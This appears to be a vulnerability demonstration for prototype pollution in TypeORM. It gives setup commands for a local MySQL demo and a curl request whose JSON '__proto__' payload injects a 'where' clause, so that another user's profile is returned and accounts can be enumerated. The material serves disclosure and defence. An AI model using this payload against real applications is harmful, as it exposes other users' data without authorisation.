Prototype Pollution in TypeORM can lead to SQL Injection attacks in both MongoDB and MySQL types of databases, as well as Denial of Service or escalate to other types of attacks for a vulnerable Node.js web application.
You'll need a MySQL server running. Try this:
# use mysql:5 as that still supports the good old native password mechanism to login
# and keep things simple for the demo
docker run -p3306:3306 --rm --name mysqld -e MYSQL_ROOT_PASSWORD=root mysql:5
Create the dummy acme
database:
create database acme;
For the MySQL client (to browse database records and such):
docker exec -it mysqld mysql -uroot -p
The root file ./typeorm-db.js
gets called when the app starts and seeds the database with 2 sample users.
You can create new users via POST /users
curl --request POST \
--url http://localhost:3001/users \
--header 'content-type: application/json' \
--data '{
"name": "a",
"address": "vvv",
"role": "user"
}'
A request to get your own profile always results in your own user (right now hard-coded with id:1)
curl --request GET \
--url http://localhost:3001/users \
--header 'content-type: application/json'
We now send a request that creates a user, but poison the prototype chain through an insecure
merge of objects that happens within TypeORM's code, and results in Object
having a where
object property.
curl --request POST \
--url http://localhost:3001/users \
--header 'content-type: application/json' \
--data '{
"name": "a",
"address": {
"__proto__": {
"where": {
"id": "2",
"where": null
}
}
}
}'
Now go back to Step 1 and fetch the user profile again.
Now you get profile 2 instead of the hard-code profile id 1. Why does it happen?
Because with TypeORM's where
clause takes precendence over the id
specifier and we're now able to enumerate and get every account id we want.